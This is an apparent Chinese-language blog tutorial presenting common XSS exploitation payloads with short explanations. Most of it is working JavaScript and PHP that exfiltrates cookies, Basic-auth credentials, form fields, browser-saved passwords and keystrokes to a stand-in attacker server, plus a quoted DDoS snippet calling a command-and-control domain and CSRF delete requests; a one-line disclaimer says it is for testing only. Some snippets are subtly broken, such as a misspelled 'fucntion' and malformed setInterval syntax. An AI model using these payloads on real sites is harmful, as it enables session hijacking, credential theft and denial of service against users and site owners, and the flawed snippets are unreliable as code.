XSS常见利用代码及原理

XSS是一种经常出现在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。常见的利用方式有cookie获取、基础认证钓鱼、表单劫持等。通常,在发现XSS漏洞后,会利用跨站平台里面的payload来进行攻击。但是,要更好的理解XSS的危害,还是需要自己动手来写并理解XSS的攻击代码。
ps. 本文所涉及代码仅做测试使用,请不要用于非法用途!

Cookie偷取

XSS最常见的手段大概就是获取Cookie了吧。

  1. javascript创建img标签,利用img的跨域请求将cookie信息传递到我们的服务器上

    1
    2
    3
    4
    5
    var cookie = document.cookie;
    var ele = document.createElement("img"); //创建img标签
    var time = new Date();
    ele.src = "http://yourserver.com/xss/xss_cookie/cookie1.php?cookie="+cookie+"&location="+window.location.href+"&time="+time; //cookie获取
    ele.id = "imgs";
  2. ajax发起简单跨域请求

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    function ajax(){
    var xmlHttp;
    try {
    xmlHttp = new XMLHttpRequest();
    }catch(e){
    try{
    xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
    }catch(e){
    try{
    xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    }catch(e){
    return false
    }
    }
    }
    return xmlHttp;
    }
    xml = ajax(); //实例化ajax请求对象
    url = "http://yourserver.com/xss/xss_cookie/cookie1.php?cookie="+document.cookie+"&location="+window.location.href;
    xml.open("GET",url,true); //若要传递的数据量较大,可利用 POST方法;xml.open("POST",url,true);xml.send("cookie="+cookie+"&location="+locations);
    xml.send();

基础认证钓鱼

查了查资料,基础认证钓鱼在2012年流传比较广(那时我还只是孩子呀…),通常是你浏览着网站突然弹出一个基础认证的框。其实,所有可以利用标签插入外部资源的网站都可能存在这个漏洞。通常,在论坛等地方,可以自定义引用外部图片(其实就是利用img标签),将src链接到一个需要基础认证后才行访问的资源,那么就会产生弹窗。用你的路由器后台地址试试。

1
2
3
<html>
<img src="http://192.168.1.1"> //大家知道访问路由器后台,是需要基础认证的,这里可以试试
</html>

了解基础认证钓鱼的原理后,可以联想到XSS也是实现该漏洞的一种方式。这里先利用php构造一个基础认证页面fish.php,

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if($_SERVER['PHP_AUTH_PW'] =="" || $_SERVER['PHP_AUTH_USER'] =="" )
{
header('WWW-Authenticate: Basic realm="info you want"'); //自定义描述
header('HTTP/1.0 401 Unauthorized'); //401未认证
}
else{
$user = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
$fish = "username:".$user." password:".$pass;
header("location:http://yourserver.com/fish_get.php?c=$fish"); //受害者在填写用户名和密码后,location跳转到密码接收页面
}
?>

利用js构造img引用该资源(任何可以引用外部资源的标签,如script)

1
2
var img = new Image();
img.src="http://youserver.com/fish.php"

表单劫持

劫持onsubmit方法

在提交form表单时,通常会调用onsubmit方法。在onsubmit被调用时,说明表单中该填的项肯定都已经填好了,这时,我们通过修改onsubmit方法,便可以获取表单中的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var f=document.forms['myform'];       //获取form对象
if(f==undefined)
{
f=document.getElementById('formid');
}
var func=f.onsubmit;
f.onsubmit=function(event)
{

var str='';
for(var i=0;i<f.elements.length;i++)
{
str+=f.elements[i].name+':'+f.elements[i].value+'||'; //获取form中元素的值
}
str=str.substr(0,str.length-2);
var img=new Image();
img.src='http://myserver.com/img.php?data='+escape(str)+'&url='+escape(location.href); //将获取的明文密码传递出去
func(event);
return true;
}

修改action指向

通过js将form表单中的action地址修改,也可偷取明文密码

1
2
3
4
5
6
var f=document.forms['myform'];
if(f==undefined)
{
f=document.getElementById('formid');
}
f.action = "http://myserver.com/accept.php"; //在 accept.php中接受POST过来的字段

但是这种方式容易被CSP拦截(限制action指向的页面所在域)

获取浏览器记住的明文密码

在用户登录时,浏览器通常会提示保存密码。点击保存后,下次再次访问该登录页面,浏览器会自动将保存的用户名和密码填充。所以,利用XSS在目标域下构建一个表单,若受害者在浏览器中保存了密码,那么便可以利用自动填充 的机制获取到明密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function create_form(user) { /*获取明文密码*/
var f = document.createElement("form");
document.getElementsByTagName("body")[0].appendChild(f);
var e1 = document.createElement("input");
e1.type = "text";
e1.name = e1.id = "username";
e1.value = user;
f.appendChild(e1);
var e = document.createElement("input");
e.name = e.type = e.id = "password";
f.appendChild(e);
setTimeout(function () {
var img = new Image();
img.src = "http://yourserver.com/img.php?username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value;
}, 3000); // 时间竞争
}
create_form('');

当然这种方法也跟浏览器是否支持有关,作者在FireFox默认配置下测试成功,最新版chrome默认没有提示保存密码。该方法的详细介绍参考余弦大牛 XSS Hack:获取浏览器记住的明文密码

键盘记录

键盘记录在系统木马中经常出现,但是利用js也可获取在浏览器界面上键盘记录

1
2
3
4
5
6
7
8
9
10
11
var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://yourserver.com/g.php?c='+keys; //在服务器上接收
keys = '';
}, 1000); //每间隔1秒向服务器传递键盘记录,并重置keys

DDos攻击

利用js可以很轻易向外域发起请求,这个特性导致XSS被利用进行DDos攻击。YouTube、搜狐等流量巨大的网站,就曾经因为存储型XSS被攻击者利用进行大规模的DDos。这里用youtube事件中攻击代码作为参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

<img src="/imagename.png" onload="$.getScript("http://c&cdomain.com/index1.html")">//漏洞存在点位于头像处,头像加载后恶意js也被加载

function ddos(url){
$("body").append("<iframe id="ifr11323" style="display:none;" src="http://c&cdomain.com/index2.html"></iframe>")//加载一个隐藏iframe指向攻击者的设定页面
}

<html></body><h1>iframe</h1>
<script>
ddos("http://www.target1.com/1.jpg","http://www.target2.com/1.jpg"); //攻击目标
fucntion ddos(url1,url2){
window.setInterval(){
$.getScript(url1);
$.getScript(url2);
},1000 //1秒钟发送一次get请求
};
</script></body></html>

事件详细请见Vulnerability In Worlds’ Largest Site

CSRF

CSRF(跨站请求伪造)并不依赖于XSS漏洞,但是XSS也是进行CSRF攻击的一种方式。对于GET型

1
2
var action = new Image();
action.src = "http://www.target.com/index.php?action=delete&id=123" //删除某个值

POST型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function ajax(){
var xmlHttp;
try {
xmlHttp = new XMLHttpRequest();
}catch(e){
try{
xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
}catch(e){
try{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}catch(e){
return false
}
}
}
return xmlHttp;
}
xml = ajax(); //实例化ajax请求对象
url = "http://www.target.com/index.php";
xml.open("POST",url,true)
xml.send("action=delete&id=123"); //删除某个值
xml.send();